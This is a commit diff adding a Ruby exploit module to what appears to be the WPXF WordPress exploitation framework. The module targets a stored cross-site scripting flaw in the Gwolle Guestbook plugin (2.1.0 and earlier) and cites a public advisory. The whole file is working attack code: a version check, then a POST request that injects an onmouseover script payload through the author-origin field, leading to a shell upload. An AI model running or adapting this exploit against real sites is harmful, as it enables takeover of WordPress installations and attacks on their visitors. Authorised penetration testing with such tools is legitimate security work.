Add Gwolle Guestbook <= 2.1.0 stored XSS shell upload

Author: rastating

modules/exploits/gwolle_guestbook_stored_xss_shell_upload.rb

@@ -0,0 +1,45 @@
+class Wpxf::Exploit::GwolleGuestbookStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Gwolle Guestbook <= 2.1.0 Stored XSS Shell Upload',
+      author: [
+        'Radjnies Bhansingh',             # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8785'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html']
+      ],
+      date: 'Mar 01 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('gwolle-gb', '2.1.1')
+  end
+
+  def vulnerable_page
+    'the post review page'
+  end
+
+  def store_script
+    execute_post_request(
+      url: full_uri,
+      body: {
+        'gwolle_gb_function' => 'add_entry',
+        'gwolle_gb_book_id' => '1',
+        'gwolle_gb_author_name' => Utility::Text.rand_alpha(5),
+        'gwolle_gb_author_origin' => "#{Utility::Text.rand_alpha(5)}\" onmouseover=#{xss_ascii_encoded_include_script} a=\"",
+        'gwolle_gb_author_email' => Utility::Text.rand_email,
+        'gwolle_gb_author_website' => '',
+        'gwolle_gb_subject' => Utility::Text.rand_alpha(5),
+        'gwolle_gb_content' => Utility::Text.rand_alpha(10),
+        'gwolle_gb_submit' => 'Submit'
+      }
+    )
+  end
+end